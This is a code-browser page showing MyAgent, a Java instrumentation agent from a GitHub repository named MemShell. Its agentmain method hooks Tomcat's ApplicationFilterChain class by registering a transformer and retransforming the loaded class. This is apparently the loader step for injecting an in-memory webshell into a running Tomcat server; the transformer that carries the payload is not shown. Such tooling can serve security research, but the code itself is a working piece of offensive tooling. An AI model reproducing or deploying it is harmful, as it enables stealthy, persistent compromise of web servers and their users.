MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyAgent

Class MyAgent

TomcatAgent/src/main/java/com/agent/MyAgent.java:10–35  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

8import java.lang.instrument.Instrumentation;
9
10public class MyAgent {
11 public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
12
13 public MyAgent() {
14 }
15
16 public static void agentmain(String args, Instrumentation inst) throws Exception {
17 inst.addTransformer(new MyTransformer(), true);
18 Class[] loadedClasses = inst.getAllLoadedClasses();
19
20 for(int i = 0; i < loadedClasses.length; ++i) {
21 Class clazz = loadedClasses[i];
22 if (clazz.getName().equals(ClassName)) {
23 try {
24 inst.retransformClasses(new Class[]{clazz});
25 } catch (Exception var6) {
26 var6.printStackTrace();
27 }
28 }
29 }
30
31 }
32
33 public static void premain(String args, Instrumentation inst) throws Exception {
34 }
35}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected